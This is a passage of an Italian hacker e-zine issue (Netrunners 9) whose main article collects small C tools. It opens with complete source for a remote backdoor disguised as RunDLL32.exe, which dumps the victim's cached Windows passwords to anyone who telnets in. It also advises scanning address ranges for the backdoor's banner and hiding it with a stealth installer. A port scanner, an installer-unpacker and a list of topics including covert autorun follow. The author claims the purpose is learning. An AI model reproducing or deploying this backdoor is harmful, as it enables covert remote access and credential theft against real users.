                _______          __ __________
                \      \   _____/  |\______   \__ __  ____   ____   ___________ ______
                /   |   \_/ __ \   __\       _/  |  \/    \ /    \_/ __ \_  __ /  ___/
               /    |    \  ___/|  | |    |   \  |  /   |  \   |  \  ___/|  | \|___ \
               \____|__  /\___  >__| |____|_  /____/|___|  /___|  /\___  >__| /____  >
                       \/     \/            \/           \/     \/     \/          \/(r)
                                                                                 4 0 4
             --------------------------------------------------------------------------
                                        FrOm Spp to tHe NeT
                                        
                                             NumEro NoVe
             --------------------------------------------------------------------------
Sommario:
---------

Editoriale
----------			                   By Flamer

Anche la programmazione
ha il suo sgurtz
-----------------------                   By Master

mIRC 5.51 - Prima Parte                   
-----------------------                   By Darkman


Inetmib1.dll FAQ
---------------------                     By Devil

Le RFC demistificate
--------------------                      By Buttha


===========================================================================================

Editoriale
----------
by Flamer
----------

Bene bene bene... eccoci arrivati al numero 9.
Purtroppo (come avrete notato, immagino) ci sono stati un po' di casini durante questa
estate... Il numero 8 di netrunners ha creato non pochi problemi, e farlo uscire e' stata
una cosa molto lunga e complicata.
A proposito... Se qualcuno di voi lo avesse scaricato prima del 5 di ottobre (e deve averlo
fatto dalla versione beta del nostro sito, quella preparata con molta cura da erGoline)
sappiate che l'articolo di Buttha e' stato malauguratamente tagliato, e solo dopo quella
data e' stata messa online la versione definitiva di Netrunners 8, quindi vi consiglio di
andare a riscaricarvelo. Faccio tutte le mie scuse a Buttha per questo inconveniente.

Altra novita' sta nel fatto che Brigante, che si occupava assieme a me di mettere insieme
questa rivista, e' fuori dai giochi per un po', quindi se volete mandare articoli,
lamentele o insulti vari per un po' di tempo potrete farlo solo alla mia mail
(flamer@freemail.it).

Ma diamo un'occhiata a questo numero 9... Avrete notato che ci sono pochi articoli, ma
avrete anche notato che le dimensioni della rivista non sono certo ridotte. Questo perche'
quasi tutto questo numero e' dedicato a Master, ed al suo interessantissimo (e
voluminoso :-) ) articolo sulla programmazione.

Poi, come promesso nel numero precedente, abbiamo pubblicato l'articolo "fisso" sul mIRC.

Veramente molto interessanti sono le FAQ di Devil sulla sua mitica DLL che tutti dovrebbero 
conoscere, ovvero la INETMIB1.dll. 

Infine, ultimo ma non per questo meno importante, Buttha chiarisce un po' di dubbi riguardo
alle RFC. La lettura di questo articolo e' consigliata a tutti quei newbies che, dopo aver
chiesto da dove iniziare, e dopo che gli hanno risposto con questa strana sigla non ne
hanno ben capito il significato.

Be'... questo e' tutto.
Come...? Cosa dite?... A quando il numero 10??? BOH!!! :-))

-SPP MeMbeR-
-=F14m3r=-(r)
-SPP MeMbeR-


===========================================================================================

  -= Master =-
  SPP - Member
www.spippolatori.com

                 

                          ANCHE LA PROGRAMMAZIONE HA IL SUO SGURTZ.


 
 Ma cos'e' sta roba???
 ...
 Stavolta invece del solito articolo tecnico ho voluto fare una specie di raccolta di
 tutte le -richieste- interessanti che mi son state fatte negli ultimi mesi sul ng
 alt.hackers.cough.cough.cough e che hanno portato alla stesura di un tool in c o in
 visual basic. 
 Alcune delle cose presentate sotto non hanno a prima vista una diretta attinenza con
 l'hacking ma io ritengo che non sia cosi:
 sia nel caso in cui si consideri l'hacking come lo sviluppo a 360 gradi delle capacita' 
 individuali sia nel caso lo si consideri come la capacita' di risolvere nuovi problemi 
 la dove essi ci si presentino davanti in ogni caso l'attinenza c'e'! ;-)
 Se non riuscite a vederla.. beh .. pazienza. Spero comunque che qualcuno di questi 
 tools possa tornarvi utile per risolvere qualche problema o che perlomeno vi sia di 
 stimolo per imparare qualcosa di nuovo.
 Sono al 90% piccoli programmi in c standard (alcuni in vb) facili da capire e soprattutto
 (nello stile che [almeno spero] mi contraddistingue) sono brani di codice veramente minimi.
 
 .............................................................................
 <PREMESSA>

 tutti i programmi spiegati e dettagliati qui di seguito sono scaricabili
 dalla url 

       www.spippolatori.com/memberspp/master/archivio.ace  (400k ca.)

  .. per chi non dovesse essere ancora in possesso del miglior compressore
  esistente sulla piazza .. e necessario soprattutto alla scompattazione
  di archivio.ace

       www.spippolatori.com/memberspp/master/ace32.exe  (180k ca.)

 ovviamente in versione registrata ;-)

 per scompattare i file:

//------------------------------------------------
  ACE32 x archivio.ace  
//------------------------------------------------

 per comprimere un gruppo di file (directory comprese) al livello massimo di compressione
( 
  decisamente migliore anche rispetto a 
  
  * ->  [ tar -cvf archivio.tar * ] 
           |
        [ gzip -9 archivio.tar ] -> archivio.tar.gz 

)
 
//------------------------------------------------
  ACE32 a -m5 -d1024 -r nome_archivio.ace *.*
//------------------------------------------------

 per creare un file autoestraente invece 

//------------------------------------------------
  ACE32 a -m5 -d1024 -r -sfx  nome_archivio.ace *.*
//------------------------------------------------

 per avere un file con l'help dei comandi 

//------------------------------------------------
  ACE32 -? > help.txt
//------------------------------------------------

  .. da provare assolutamente.. di meglio non c'e'! (UC2 compreso)

 </PREMESSA>
 .............................................................................

 

Sezione varie:
 1. Modello di classic backdoor in c
 2. Disinstaller per lo SI2
 3. Completo portscan in C con 7 righe di codice sorgente
 4. Variabili c a 1 bit.
 5. Generazione evoluta di numeri random
 6. Come postare una mail anonima col C
 7. Sistema per la valutazione di funzioni matematiche composte
    in c con precompilazione in altro linguaggio completamente nascosta.
 8. Ladrone, come grabbare una applicazione esterna in un proprio programma con MDIChild 
 9. Find file ultrarapido (e applicazione d'esempio)
10. Intercettare chiamate Api sostituendo alle stesse procedure diverse.
11. Time server in c, come linkarsi ad un orologio atomico.
12. Tool per il post cracking rapido.
13. Emulatore di funzioni basic per la gestione delle stringhe in c
14. Togliere i rem da un sorgente vb
15. Creare stereogrammi 3d con poghe righe di c
16. Installare di nascosto nel win.ini un proprio programma per l'autorun
17. automatismo software in c per l'Input/output tramite la porta parallela

Sezione -giochi di parole-:
18. Creare un dizionario da un file di testo
19. Permutazioni
20. Parole composte
21. Cifrature / riduzioni di testo da vocabolari bilanciati / firma caratteristica
22. Anagrammi / contrari / parole palindromiche
23. Aiuta Riddle. ;-) 

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
1 Modello di classic backdoor in c:
//---------------------------------------------------------------------------------------------------

 Il programma e' di semplice utilizzo:

 Chiamando:  

              RunDLL32 <porta> 

 sel server remoto desiderato si aprira' una shell alla quale sara' possibile
 accedere successivamente tramite telnet. 

               TELNET <IP-server-remoto> <porta>

 Per trovare l'ip nel caso si sia installata la backdoor su un server a indirizzo dinamico
 sara' sufficiente fare un portscan sulla porta settata. 
 Il reply sara' la frase "Sono pronto:". 
 ..qualunque portscan andra' bene.

 E' possibile il collegamento in contemporanea di 10 utenti. (aumentabili a piacere)
 
 L'unico comando a disposizione (oltre al "quit" per sconnettersi) e' "password" 
 (tutto in minuscolo)  .. da qui il sottotitolo -Classic- ;-)
 (Una volta non c'erano tanti fronzoli .. si tirava a far ciccia. ;-) )

 Eseguendo il comando password su telnet si avra' la lista completa ed in chiaro delle
 password salvate nella chace esattamente come fa (solo in locale) Dripper
 (il tool specifico del progetto Aggressor)

 Le password segnate con Rna saranno le password delle connessioni e si presenteranno
 all'incirca cosi':

 1. Account   -> Cache(3)
 2. USER      -> *Rna\Tiscali\PIPPO
 3. PASSW     -> aEr%7399Tis

   la riga uno identifica la posizione della password nella cache.
   la riga due da il nome del provider utilizzato e lo USER per il login.
   la riga tre e' la password di connessione vera e propria.
  
 Le password di altro tipo, posta, gestione siti web, siti porno, ecc..
 invece si presenteranno cosi':

 1. Password  -> Cache(2) 
 2. URL       -> www2.fortunecity.com/fortunecity/member
 3. USER:PASS -> PIPPO:spippolini

   La riga uno e' relativa ancora alla posizione nella cache.
   La riga due in questo caso rappresenta l'indirizzo del server sul quale sono
    attive le password.
   La riga tre sono i due parametri necessari al login  USER : PASSWORD.

 Ps.. il programma non si installa nei servizi di autorun del registro di configurazione
 ma volendolo proprio fare un impegno di livello elementare con lo Stealth Installer 2 
 potrebbe dare anche ai meno pratici risultati piu' che soddisfacenti. ;-)

 Cmq lo scopo del tool e' tutt'altro almeno per quanto mi riguarda. 
 Vorrei che fosse inteso non come uno strumento per procurare del danno a qualcuno 
 ma semplicemente come una scusa per imparare qualcosa in piu' relativamente al 
 linguaggio C++, sull'uso del winsock e sull'uso delle procedure non documentate 
 dalla Microsoft. Per questo infatti accludo anche il sorgente completo. 

 Io ho usato il compilatore che preferisco ..il Borland C++ 5.. ma nessuno vieta che lo 
 stesso programma data la sua estrema semplciita' possa essere ricompilato con il 
 Visual C o una qualunque alta variante del C++ 32bit.
 Gli unici due file utili sono RunDLL32.cpp e supporto.c
 

 ... come funziona?

 ..e' semplicissimo (spero) :)) 

 Intanto cominciamo con la struttura del programma in quanto tale.

 E' formato da due parti.. una libreria con le procedure standard per l'inizializzazione
 del winsock, la terminazione, la conversione da ip letterale in forma canonica, ecc..
 E il programma principale.
 
 [ Nel sorgente "originale" avevo messo tutte le cose che trovate attualmente nel tutorial backdoor
 TIVEDO (che ho poi pubblicato in VB) .. qui le ho volutamente eliminate per i motivi sopra
 elencati. ]

ho chiamato la libreria supporto.c ed e' una libreria ricavata/aggiornata/modificata 
da un insieme di procedure gia a suo tempo pubblicate su un paio di ng c++ related.. 
alcune procedure sono simili in tutto e per tutto alle equivalenti contenute
nel winsock.bas per visual basic.

[ qui sotto ci sono solo le 3 procedure elementari che servivano al programma mentre invece
 nel file archivio.ace trovate la libreria completa. ]


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
supporto.c
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <winsock2.h>   
#include <process.h>   
#include <time.h>

typedef unsigned int pid_t;

#define CLEAR_ADDR(addr) memset(addr,0,sizeof(struct sockaddr_in))

int sockInit(void){  
 WORD wVersionRequested;  
 WSADATA wsaData;  
 wVersionRequested = MAKEWORD(2,0);  
 return WSAStartup( wVersionRequested, &wsaData ); }  

int sockName(struct sockaddr_in *name,char *hostname,char *hostaddr){ 
 struct hostent *hp; 
 hp = NULL; 
 hp=gethostbyaddr((char *) &(name->sin_addr),sizeof(name->sin_addr),AF_INET); 
 if(hp==NULL) return 1; 
 strcpy(hostname,hp->h_name); 
 sprintf(hostaddr,"%d.%d.%d.%d",hp->h_addr_list[0][0],hp->h_addr_list[0][1], 
 hp->h_addr_list[0][2],hp->h_addr_list[0][3]); 
 return 0; }

int sockEnd(void){  
 return WSACleanup();}  
/////////////////////////////////////////////////////////////////////////////////////////

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



  il programma vero e proprio:

BACKDOOR   RunDLL32.exe


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <dos.h>
#include "supporto.c"
#define Lungo 128
#define Dimens 256
#define API  LoadLibrary("mpr.dll")
#define FUNC "WNetEnumCachedPasswords"

char *s1,*s2,*b1,*b2,dati[256];
int n = 0;
FILE *fp;
typedef struct tagcache {
WORD a,user,passw;
BYTE b,c,inizio[1];
} cache;
INT CALLBACK TrovaPassword(cache *BIT, DWORD);
void controlla(void *sock);
void pass();


// ------------------------------ PROCEDURA INIZIALE
// ------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
int argc=_argc;
char **argv=_argv;
SOCKET s;
struct hostent *hp;
struct sockaddr_in any_addr;
struct sockaddr_in remote_addr;
int addrlen;
SOCKET ss;
s=INVALID_SOCKET;
hp=NULL;
CLEAR_ADDR(&any_addr);
CLEAR_ADDR(&remote_addr);
addrlen=sizeof(struct sockaddr_in);
if(argc != 2) {
printf("Sintassi: %s porta\n",argv[0]);
return 0;}
sockInit();
any_addr.sin_family=AF_INET;
any_addr.sin_port=htons( (unsigned short) atoi(argv[1]));
any_addr.sin_addr.s_addr=htonl ( INADDR_ANY );
s = socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET) {sockEnd();return 2;}
if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in)))
  {sockEnd();return 3;}
listen(s,10);
while(true){
   ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen);
   if(_beginthread(controlla,0,(void *) &ss)==-1){
      perror("_beginthread");break;}}
    sockEnd();return 0;}
// ------------------------------------------------------------------


// ------------------------------ CONTROLLA ED ESEGUE I COMANDI
// ------------------------------------------------------------------
void controlla(void *sock){
SOCKET ss;
pid_t pid;
char msg[Dimens],remotename[128],remoteaddr[128],buffer[Lungo];
int addrlen,rec;
struct sockaddr_in remote_addr;
ss=*((SOCKET *) sock);
addrlen=sizeof(struct sockaddr_in);
pid=GetCurrentThreadId();
memset(buffer,0,Lungo);
memset(msg,0,Dimens);
sprintf(buffer,"Sono pronto:");
if(send(ss,buffer,strlen(buffer),0)<=0) return;
CLEAR_ADDR(&remote_addr);
getpeername(ss,(struct sockaddr *) &remote_addr,&addrlen);
sockName(&remote_addr,remotename,remoteaddr);
do{rec=recv(ss,buffer,Lungo,0);
   if(rec<=0){printf("Ciao.\r\n");break;}
   buffer[rec]=0;
   strcat(msg,buffer);
   if(buffer[strlen(buffer)-1]=='\n'){
      send(ss,"Ricevuto: ",10,0);
      send(ss,msg,strlen(msg),0);

      // COMANDO: password  -> per avere la lista delle cached password
      if(strncmp(msg,"password",8)==0){
         pass();
   	     fp=fopen("out","rb");
         strcpy(dati,"\r\n");
         send(ss,dati,strlen(dati),0);
         while(!feof(fp)){
           fgets(dati,255,fp);
           strcat(dati,"\r\n");
           send(ss,dati,strlen(dati),0);}
           fclose(fp);
           remove("out");}

      // COMANDO: quit  ->  per uscire
      if(strncmp(msg,"quit",4)==0){
	    strcpy(buffer,"Ciao.\r\n");
	    send(ss,buffer,strlen(buffer),0);break;}

      memset(msg,0,Dimens);
      memset(buffer,0,Lungo);}
}while(1);
closesocket(ss);}
// ------------------------------------------------------------------

// ------------------------------ TROVA PASSWORD
// ------------------------------------------------------------------
void pass(){
HINSTANCE k = API;
s1 = b1 = new char[1024];
s2 = b2 = new char[1024];
fp=fopen("out","wb");
fprintf(fp,"RISULTATO :\n");
fprintf(fp,"----------\n");
 WORD(__stdcall *chiama)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD(__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))
 GetProcAddress(k, FUNC);
 (*chiama)(0,0, 0xff, TrovaPassword, 0);
 if (n==0) fprintf(fp,"Non ci sono password salvate nella cache.\n");
 else fprintf(fp,"Trovate %d cached password.",n);
 FreeLibrary(k);
 fclose(fp);}
// ------------------------------------------------------------------

// ------------------------------ ENUMERA TUTTE lE PASSWORD
// ------------------------------------------------------------------
INT CALLBACK TrovaPassword(cache *BIT, DWORD){
 memmove(s1, BIT->inizio, BIT->user);
 memmove(s2, BIT->inizio+BIT->user, BIT->passw);
 s1[BIT->user] = s2[BIT->passw] = 0;
 CharToOem(s1,b1);CharToOem(s2,b2);
 if (strstr(s1,"Rna")){
   fprintf(fp,"Account   -> Cache(%d)\n", n);
   fprintf(fp,"USER      -> %-30s\n", b1);
   fprintf(fp,"PASSW     -> %s\n", b2);}
 else{
   fprintf(fp,"Password  -> Cache(%d)\n",n);
   fprintf(fp,"URL       -> %-30s\n", b1);
   fprintf(fp,"USER:PASS -> %s\n", b2);}
 fprintf(fp,"----------\n");n++;
 return(n);}
// ------------------------------------------------------------------


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 e' composto sostanzialmente da 3 moduli:

 1. il server: si installa in memoria sulla porta dichiarata come parametro iniziale grazie al listen.
 
 s = socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET) {sockEnd();return 2;}
if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in)))
  {sockEnd();return 3;}
listen(s,10);

 cambiando la riga

 listen(s,10)  in   listen(s,30)   ovviamente si accettano in ingresso 30 utenti invece di 10.


 2. il motore di interpretazione delle stringhe ricevute dal client (telnet)

    if(rec<=0){printf("Ciao.\r\n");break;}
   buffer[rec]=0;
   strcat(msg,buffer);
   if(buffer[strlen(buffer)-1]=='\n'){
      send(ss,"Ricevuto: ",10,0);
      send(ss,msg,strlen(msg),0);

      // COMANDO: password  -> per avere la lista delle cached password
      if(strncmp(msg,"password",8)==0){
         pass();
   	     fp=fopen("out","rb");
         strcpy(dati,"\r\n");
         send(ss,dati,strlen(dati),0);
         while(!feof(fp)){
           fgets(dati,255,fp);
           strcat(dati,"\r\n");
           send(ss,dati,strlen(dati),0);}
           fclose(fp);
           remove("out");}

      // COMANDO: quit  ->  per uscire
      if(strncmp(msg,"quit",4)==0){
	    strcpy(buffer,"Ciao.\r\n");
	    send(ss,buffer,strlen(buffer),0);break;}


  Replica Ciao! al client all'atto della connessione. Questo potrebbe sembrare solo un vezzo invece e' 
 una cosa importante. Una risposta canonica all'atto della connessione e' necessaria per darci la 
 possibilita' di rintracciare l'utente tramite il suo ip dinamico.
 Facendo infatti una scansione sulla porta da noi scelta di tutti gli ip relativi alla classe c che vorremo controllare sapremo che la nostra backdoor sara' installata la dove riceveremo ciao! come 
 risposta. (Ovviamente e' possibile cambiare ciao con qualunque altra cosa! :)) )

 i due if a seguire controllano se la stringa iviata al client contiene le parole PASSWORD o QUIT
 Nel prima caso esegue la procedura per il recupero delle cached password e il successivo invio al
 client per la visualizzazione e la registrazione, nel secondo viene terminata la connessione.


 3. la procedura per il recupero delle password.

 E' una cosa standard e abbastanza nota. Sfrutta la funzione WNetEnumCachedPasswords della libreria Microsoft mpr.dll che si occupa della decifrazione.

 la api non documentata WNetEnumCachePassword una volta chiamata colloca in una struttura definita 
 come 

 typedef struct tagcache {
 WORD a;
 WORD user;
 WORD passw;
 BYTE b,
 BYTE c,
 BYTE inizio[1];
 } cache;
 
 recupera enumerativamente tutte le password precedentemente salvate spuntando l'apposita casella 
 -salva password-.



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
1 Disinstaller per lo SI2
//---------------------------------------------------------------------------------------------------

 Mi era stato chiesto da Nick1 .. ed eccolo qui. ;-)
 Il disinstaller. Cosa fa? .. praticamente prende una installazione dello Stealth Installer 2
 (ma dovrebbe funzionare anche con la versione 1) ed estrae decrittandoli tutti i programmi in essa contenuti senza farli partire e senza eseguire gli script.
 Ovviamente scompatta anche gli script allegati ripristinando per ognuno il nome originale.

 I piu' arguti noteranno che e' un cole dello stealth installer due carente delle funzioni di
 esecuzione e di elaborazione degli script .. unica differenza e' l'interfaccia di utilizzo che in questo
 caso e' vincolata alla linea di comando.

 per disinstallare una installazione pippo.exe .. bisogna chiamare  DISI2 pippo.exe .. e' fa tutto da solo. ;-)

il programma:
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <conio.h>
#include <string.h>
#include <windows.h>
#include <dos.h>
#include <dir.h>

char *nfile,*kfile;
long int trovaparti=0;

long int trovainizio(char indicatore,long int comincia);
long int trovafinefile(void);
void trovanome(char *vari,long int a,long int b);
char *riduci(char *pippo);

int str1,str2;

int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
 long int seco,a=0,un,du,tr,k=1;
 char *nome="                   ";
 FILE *ricrea,*fp,*sp1,*sp2,*reg;
 long int kop,j,s,inizio,fine,esegui;
 int dop,tr1,nf=_argc;
 char **file=_argv;
 struct ffblk ffblk;
 int trovato;

 if(nf<=1){MessageBox(NULL,"sintassi: DISI2 installazione.exe","ERRORE:",16);exit(0);}
 if(vedi(file[1])<0){MessageBox(NULL,"FILE NON TROVATO!","ERRORE:",16);exit(0);}
 nfile=file[1];
 un=a;

 su:
 a=trovainizio('I',un+1);un=a;
 a=trovainizio('F',un+1);du=a;
 trovanome(nome,un+4,du);
 a=trovainizio('I',un+1);tr=a;

 if(strlen(nome)>0)
  {
  /* printf(" Programma %ld <%s> Da=%ld A=%ld\n",k,nome,du+4,tr-1); */
  inizio=du+4;
  fine=tr-1;
  ricrea=fopen(riduci(nome),"wb");
  fp=fopen(nfile,"rb");
  fseek(fp,inizio,0);
  srand(666);
  for(s=inizio;s<fine;s++)
   {
   fputc((fgetc(fp)-rand()%256)%256,ricrea);
   }
  fclose(fp);
  fclose(ricrea);
  k++;
  goto su;
  }
 MessageBox(NULL,"Disinstallazione completata","Finito.",64);
}


long int trovainizio(char indicatore,long int comincia)
{
 FILE *fp;
 char a;
 long int pos;
 fp=fopen(nfile,"rb");
 pos=comincia;
 fseek(fp,pos,0);
 while(!feof(fp))
   {
    a=fgetc(fp);pos++;
    if(a=='#')
     {
      a=fgetc(fp);pos++;
      if(a==indicatore)
       {
	a=fgetc(fp);pos++;
	if(a=='-')
	{
	 a=fgetc(fp);pos++;
	 if(a=='[')
	  {
	  fclose(fp);
	  return(pos-4);
	  } else {pos=pos-3;fseek(fp,pos,0);}
	} else {pos=pos-2;fseek(fp,pos,0);}
       } else {pos=pos-1;fseek(fp,pos,0);}
     }
   }
 fclose(fp);
 return(trovafinefile());
}

void trovanome(char *vari,long int awe,long int bwe)
{
 FILE *fp;
 fp=fopen(nfile,"rb");
 fseek(fp,awe,0);
 fgets(vari,bwe-awe+1,fp);
}


long int trovafinefile(void)
{
 FILE *fp;
 long int pos=0;
 char a;
 fp=fopen(nfile,"rb");
 while(!feof(fp))
  {
   a=fgetc(fp);
   pos++;
  }
 fclose(fp);
 return(pos-1);
}

char *riduci(char *pippo)
{
int j;
char *passa;
 if(pippo[0]=='+')
   {
    for(j=1;j<=strlen(pippo);j++)
    passa[j-1]=pippo[j];
    trovaparti++;
    kfile=passa;
    return(passa);
   } else return(pippo);
}

int vedi(char *prog)
{
   struct ffblk ffblk;
   int ok;
   ok = findfirst(riduci(prog),&ffblk,0);
   if(ok>=0)return 1;
   else return -1;
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 3. Completo portscan in C con 10 righe di codice
//---------------------------------------------------------------------------------------------------

 Portscan. Azz com'e' difficile fare un portscan!! .. chissa' che abilita' programmatoria serve!?
 ..he he .. e invece no! .. e' come fare un telnet, forse e' uno dei programmi piu' semplici in
 assoluto.

 come funziona?
 cosi' :  si apre un socket, si cerca di connettersi alla porta x di un ip remoto, se non ci si 
 riesce (ovvero se il connect del winsock da errore) la porta non e' aperta, viceversa e' un
 servizio attivo e quindi si stampa a video il valore x.
 (Si potrebbe anche tentare di ricevere dei dati col receive per avere gli head notes del servizio 
 volendo )
 Creandosi un ciclo per x dalla porta a alla porta b prendendo cura di chiudere il socket aperto
 prima della connessione sia nel caso questa abbia esito positivo sia nel caso abbia esito contrario
 avremo fatto il nostro portscan.

 la procedura per il portscan e' tutta qui:


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 int ScanPort(char *ip, int inizio, int fine) {
   struct sockaddr_in dati;
   int sock,n;
   unsigned long uin;
   printf("Eseguo la scansione delle porte.\n");
   for (n=inizio;n<=fine;++n) {
   if (!(sock = socket(AF_INET, SOCK_STREAM, 0))){
   	  printf("Errore: Impossibile connettersi.\n");return -1;}
   dati.sin_family = AF_INET;
   dati.sin_addr.s_addr = inet_addr(ip);
   dati.sin_port = htons(n);
    if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1)
     printf("%s : %d\n",ip,n);
   closesocket(sock);
   }
   printf("\n");return -1;}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 ovviamente trattandosi di windows e' necessario prima inizializzare il winsock.
 
 un esempio di portscan semplice e funzionante relativo all'uso della procedura 
 sopra riportata potrebbe essere questo

 Portscan:

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <winsock2.h>

int ScanPort(char *ip, int inizio, int fine) {
   struct sockaddr_in dati;
   int sock,n;
   unsigned long uin;
   printf("Eseguo la scansione delle porte.\n");
   for (n=inizio;n<=fine;++n) {
   if (!(sock = socket(AF_INET, SOCK_STREAM, 0))){
   	  printf("Errore: Impossibile connettersi.\n");return -1;}
   dati.sin_family = AF_INET;
   dati.sin_addr.s_addr = inet_addr(ip);
   dati.sin_port = htons(n);
    if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1)
     printf("%s : %d\n",ip,n);
   closesocket(sock);
   }
   printf("\n");return -1;}

//--------------------------------------------------------------------------------

void main(int argc, char *argv[]) {
   struct sockaddr_in sin;
   int sock,x,y,Port;
   unsigned long uin;
   long upf;
   WORD wVersionRequested;
   WSADATA wsaData;
   wVersionRequested=MAKEWORD(2,0);
   y=WSAStartup(wVersionRequested,&wsaData);
   printf("%d",y);
   Port=ScanPort(argv[1],atoi(argv[2]),atoi(argv[3]));
   WSACleanup();
   exit(0);
  }

//--------------------------------------------------------------------------------

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 facile no!? ;-)
 gli unici parametri da settare nella procedura sono 
 porscan ( IP-DI-PARTENZA , porta iniziale , porta finale )

 ..il programma in effetti sarebbe solo questo:

    for(n=inizio;n<=fine;++n){
    dati.sin_family = AF_INET;
    dati.sin_addr.s_addr = inet_addr(ip);
    dati.sin_port = htons(n);
    if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1)
    printf("%s : %d\n",ip,n);
    closesocket(sock);}

 (e sono le famose 7 righe essenziali) ;-)

 come detto sopra, col for si esegue il ciclo per la verifica delle porte
 da quella iniziale (inizio) a quella finale (fine).
 Di seguito la procedura apre un socket e cerca di connettersi ad una porta
 n (variabile ciclica del for).
 Se ci riesce stampa n e/o in caso contrario chiude il socket e ne apre un altro
 per la porta successiva.
 


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 4. Variabili c a 1 bit.
//---------------------------------------------------------------------------------------------------

 Richiesto da hal9000 su alt.hackers

 >ma e' facile!! .. il c ha le variabile boolean che sono..
 beh ..mica vero! .. sono tutte variabili a un byte minimo. Non esiste un linguaggio di
 programmazione con variabili ad un bit.
 Il minimo e' sempre un byte (8 bit).
 Char == unsigned char == byte (pascal) == boolean == bool == 1 BYTE! ..8 bit.
 >e allora come si fa ad ottenere uan variabile a 1 bit col C.. non mi dire che e' impossibile!
 non e' impossibile! ;-)

 Il tutto sta ad usare un byte come vettore di bit piuttosto che come recipiente per una
 variabile di tipo predefinito. 

 facciamo un esempio pratico:

 devo memorizzare otto stati di altrettanti interruttori elettronici: 
 0 == acceso, 1 == spento (tanto per essere originale! ;-)) 
 
 nel byte ogni bit sara' lo stato di un interruttore
 
 00000001 = solo l'interruttore 1 spento
 11000001 = spenti gli interruttori 8,7 e 1
 ecc..

 il c ha delle eccellenti funzioni per la verifica e il settaggio bit per bit di un byte:
 le funzioni logiche bitwise, lo shift register, il logic and operator, ecc..
 ma lo shift ofre le migliori prospettive sia per la sua velocita' che per la flessibilita' 
 di utlizzo infatti cosi' come in logica tramite la negazione ed una qualsiasi altra operazione
 e' possibile replicare tutte le altre cosi' nelle operazioni logiche su i bit tramite il semplice
 utilizzo dello shift register e' possible -emulare- qualsiasi altro tipo di operazione.

 un esempio ancora piu' pratico.

 Abbiamo sullo schermo una immagine in risoluzione 100x100 (e' solo per fare un esempio) 
 in b/w nonostante la risoluzione in colori decisamente piu alta.
 Normalmente la dimensione della memoria occupata dal nostro schermo sara', senza considerare
